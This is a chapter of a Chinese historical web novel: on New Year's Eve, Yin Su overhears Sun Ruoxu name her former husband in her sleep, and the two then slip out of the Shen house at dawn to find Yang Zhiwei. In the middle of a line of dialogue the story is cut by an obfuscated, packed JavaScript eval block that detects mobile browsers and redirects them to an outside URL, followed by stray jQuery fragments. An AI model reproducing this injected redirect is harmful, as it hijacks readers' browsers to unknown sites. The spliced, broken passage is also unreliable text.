21. 云中骑(二)

作品:《红衣半狼藉

    孙若絮心间啧啧称奇。


    她复又收回眼,斟上半盏剑南春。


    殷二娘对沈郎君何样心思,她倒能窥得一二,可暗观沈却,她便有些拿不准。


    情情切切,丝丝缕缕究竟是藏得深,未表露半分,还是人本从容,清心寡欲。


    几杯美酒下肚,又有三两佳肴饱腹,孙若絮脑中不觉有些昏沉,以至于守岁至丑时三刻,便已倚靠在案,沉沉睡去。


    屋外爆竹砰然,竟也不曾扰眠。


    殷素扫目过去,不由将身间厚氅替孙七娘披上。


    窗外雪间,云裁翠柳仍同雪姑玩闹着,屏前王夫人与沈公对下双陆,沈却领着仆僮去糊桃符。屋中暖意甚足,她坐于那儿,闲看起旧诗书。


    搁棋声伴着笑语传来,切切杂音里,她隐约听见一声低喃。


    殷素循声而望,落目于静卧而眠的孙七娘。


    “一向知晓七娘睡得沉,如今不过半刻,竟已入了美梦。”


    案上女娘仍胡乱念叨不止,殷素见状不由凑近,心下生奇。


    几句乡音旁语里,她不经意间听清一名姓——李从永


    殷素顿目。


    即使为梦呓,她亦听出几分咬牙切齿。


    莫非,是她那没脸皮的旧夫?


    殷素倚回舆中,垂眸神思不定。


    恰逢沈却顶着零星霜雪入屋,绕屏风而行,瞧清屏后情状,脚步便缓轻。


    “二娘可要回屋小憩?”沈却声低,瞧素舆内女娘半敛目,只当殷素亦要昏昏欲睡,“大雪日如此,纵有暖炉,亦忧怕寒气入体。”


    殷素闻声回神,望着他摇头,“尚无困意,况守岁迎新乃驱邪避灾的好日子,七娘只怕是喝醉了,叫她饮下碗醒酒汤便好。


    须臾便见沈却起身欲走,想来是去嘱咐仆僮,她忙唤住他。


    “表兄。”


    “翠柳早备下了。”殷素朝案前抬掌,压着声,“正温在壶里,我瞧七娘睡得沉,忍着未叫醒她。”


    沈却望清那壶正冒着热气的青瓷,这才收回步履,“未曾想,二娘酒量不错。”


    殷素见他抬壶自斟一杯,不由扬唇,语中得意,“从前半壶烈酒穿肠,我还能同阿予解得连环。”


    “自愧不如。”案边郎君淡笑,饮着枳椇子汤。


    甜中带涩,不知是太久未品其味,还是这汤沉温许久,舌尖涩味竟漫出清苦。


    他低咳,很快搁下杯盏,又斟一杯清水。


    “蜀中的酒并不烈,但滋味不同。”殷素怀念起幽州美酒,倚在素舆内叹:“表兄若饮,只怕一盏便倒。”


    温水入喉,压下些清苦味,沈却朝她望去,“烈酒伤身,二娘若尽好了,我倒可陪你一饮。”


    木素梨花屏外,王夫人的声音稳稳传来,“上元有位木匠,一手好雕工,待过几日人复了工,便让他替二娘做一副拐木来,日日慢走上会儿,定于恢复有益。”


    沈却忍不住移目,“只怕急了些?沈二娘今日才试着离素舆,双手亦尚未恢复完全,拐木于她不甚便宜。”


    殷素见案前郎君眉宇半凝,忙笑回:“不打紧,若将那拐木头处接上可搁置小臂的横木,我便可试着离舆迈步了。”


    “正是这个理呢!”屏风里又冒出一句,伴着双陆噼啪掷案声,“再者叫翠柳云裁稳稳看扶着,必不会栽了跟头。”


    沈却闻此沉默。


    他再度饮了半杯清水,听着屋外烟火也已然寂寂,忽而搁盏轻道:“今日是我劝二娘离舆,却未扶稳二娘,乃我之过失。”


    那双漾着烛火的眼朝殷素望来,是郑重怀愧。


    “受表兄掌扶,我并未伤着。”殷素未久对视,反移目眼下,宽慰他,“况表兄比我摔得要狠,我还未细问表兄可有恙?”


    听着“表兄”雨打塘池似地接连冒出,沈却又倒了半盏枳椇子汤,答得淡然:“不痛不痒。”


    可三更天夜漆黑一片,他点了盏案头灯,嘱咐小伍去屋里替他涂背上青淤。


    “嘶。”沈却按住指节,话还未言出,却听小伍倒吸一口冷气——


    “奴以为郎君当真无事呢,这背上青紫一大片,瞧着怪吓煞人。”


    “莫声高,也莫与旁人提起。”


    “郎君不让提,是为了不叫沈二娘内疚,还是为了不叫阿郎夫人忧心?”


    沈却合上衣襟,略过那句沈二娘,只声色缓慢,“新岁里头受伤兆头不好,何必叫他们知晓坏了吉喜。”


    小伍闻罢,这才吞下话。


    “好了,出去罢,明儿夜里再来。”


    小伍点头,一面退一面自顾自地嘀咕,甫一抬眼,只瞧窗里框着的月又埋进云雾里,后半夜的热闹已有几分寥落,便是雪姑也打了盹,窝回绒榻上。


    “你去哪处躲懒了?”云裁眼尖,自回廊下逮住他。


    小伍钻进暖和屋里,笑着告罪,“好阿姊,哪里敢躲懒,是去郎君屋里送水了。”说罢打量朝内一瞧,不见女娘们踪影,“沈二娘同孙娘子睡下了?”


    “不曾,孙娘子为二娘去施针。”


    这番说着,那番话中二人早收好针袋,正闭紧了窗门,凑近商议事。


    孙若絮一碗醒酒汤下肚,如今脑仁如风雪吹过般清醒。


    “何事如此小心翼翼,还要打着施针的幌子?”


    殷素压低了声,面色也恍惚肃然,只瞧她唇齿微张,“明日卯时,七娘可愿随我出宅?”


    她刻意拉长音调,引得孙若絮不由紧了呼吸,“出去干甚?”


    “去见一人。”


    孙若絮目光不移,紧盯着她,“见何人?”


    却见素舆上女娘忽而凑前,于她耳旁动唇,低沉声裹着三字传来——


    “李从永。”


    孙若絮骇然起身。


    殷素顺势仰目。


    只瞧身前女娘掌扶木案,神色难堪,半晌说不出话。


    气氛凝滞之际,殷素才缓缓倚回舆内,忍着笑。


    “那般天杀的蠢才,七娘怎的闻之色变,我若真见他,定要当着你的面,将他绑了绳套了麻袋,棍棒伺候一顿,叫七娘亲望着解一解七年之郁气。”


    孙若絮听明白殷素话中打趣,僵着的眉眼才慢慢松懈,“真真会唬弄人,我见着便觉染了晦气,况又是新岁头一天,可莫招呼我去。”


    殷素拉她坐回,“怕他作甚,这般久了,你竟在梦里也念着他的名字,可见是恨极了。”


    孙若絮半垂着眼,“是恨极了。”


    “真叫我猜对了,那李从永是你旧夫?”


    须臾,孙若絮便从她隐约显露的套话里回过神,“莫提这晦气人,早忘干净了。”


    “二娘前头言卯时出去,是要见何人?知晓你是在逗弄我,故意诓一诓我的话,如今快快说正事罢。”


    “我何时诓过七娘的话?”殷素盯着她笑,“这名字,当真是我自你口中听得。”


    孙若絮怔愣一瞬,后又狐疑,到底不愿再扯着此人言话,只道:“再不提正事,翠柳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633672|171585||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    盯着的那半盏枣泥汤,只怕也快熬好递来了。”


    “好罢。”殷素敛起笑,朝帘外探了一眼,低语:“卯时要劳七娘推我去见一人。”


    “这番又是何人?”


    “吴王杨知微。”


    孙若絮再次怔住,脑中一瞬闪过街坊远瞧见的那位金衫郎,她尚还记得二娘与沈郎君所言,那是杨吴仆射,徐文宣。莫非他身边那位女娘,竟是杨知微?


    “见她作甚,二娘晓得她住在何处?”


    “上元上等的客舍不出三间,再观客舍马廨里的马匹,便查得她在何处。”


    “徐雷也在上元,他若留下杨知微在府中呢?”


    殷素一笑,“如此,岂不更省了时力,我倒不必街坊去寻。”


    见她不答前语,孙若絮转了话头,“王夫人言沈宅无守夜到天明的规矩,待到四更天便嘱咐众人歇息下,卯时正是人静好眠的时刻,二娘要瞒着沈宅众人悄悄出去,此行莫非藏着危险?”


    不待殷素作答,她便微竖眉头,“若真有暗险,我必是要叫醒沈郎君拦一拦你,才瞧着身子慢慢好转,如何经得住你胡乱折腾?”


    殷素叹息,“若当真有危险,我怎会拉着七娘你栽身火坑?且放宽心,我与杨知微乃旧相识,明日,是去向她讨债。”


    话虽如此说,可卯时一刻,“讨债”之行尚未迈出半步,两人仍被困于沈宅——一路悄行至小门下,撞见还未眠的小伍。


    “孙娘子,你这是……”小伍揉眼,唯恐瞧错,定定望清素舆上女娘,他这才惊骇,“这、这是要推着沈二娘去何处?!”


    “嘘。”殷素声低心紧,“莫声高。”


    孙若絮忙示意小伍到跟前来,又唬道:“我的银针丢了,乃是师父亲传万万落不得,唯恐旁人拾取,又不想累人随我此刻出宅寻,二娘放心不下我,劝了半晌,我这才带着她一道出去。”


    小伍愣愣点头,一双眸搅合着困意,却仍拍胸脯,“我随孙娘子一道去,多一人也好多一双眼睛寻。”


    “守了一夜不见你合眼,我同孙七娘已是睡过两个时辰,此刻清醒得很,若寻不到半刻便回了,何苦忧心跟着。”


    小伍晃脑袋,“那不成,郎君明早若晓得,定要同我冷脸。”


    殷素同孙若絮相视一眼,有些无奈,正愁如何,便瞧七娘眼眸忽地一亮,继而朝小伍又哄道:“不同你家郎君言,沈宅里头谁人还晓得?再者言你如今只怕倦意沉沉,同咱们出去寻也是眼瞎手黑,反倒误了时辰,若咱们三人一道回来真叫沈郎君撞见,那才是遇着鬼了呢,何苦忙活此一趟呢?”


    “小伍,快些回去睡罢,在这处僵持时刻,只怕七娘的银针也早寻回了。”殷素依言劝话,又顺势朝孙若絮望去,“走罢七娘。”


    卯时二刻,小伍撑着眼皮,瞧望两人背影合门,未上闩。


    宅外,殷素与孙若絮皆松心神,一路朝坊街行去。


    厚雪覆路,殷素提着盏明灯,察看各家住舍马厩。


    终于,寻出一架不同旁人的安车,其上正挂着一络宫穗与玉牌。


    “竟是在此处?”孙若絮接过灯盏,细细端详,面上微露惊异之色。


    “明楼乃上元城中颇为次等之客楼,杨吴女王处境,竟已艰难至此?”


    殷素亦稍凝目。


    她犹记徐文宣所显露的恭敬,杨知微虽衣着朴素,可周身所散金贵之气度,非数日可学此作态。


    她合紧氅衣,深深望向明楼,“恐未必如此。”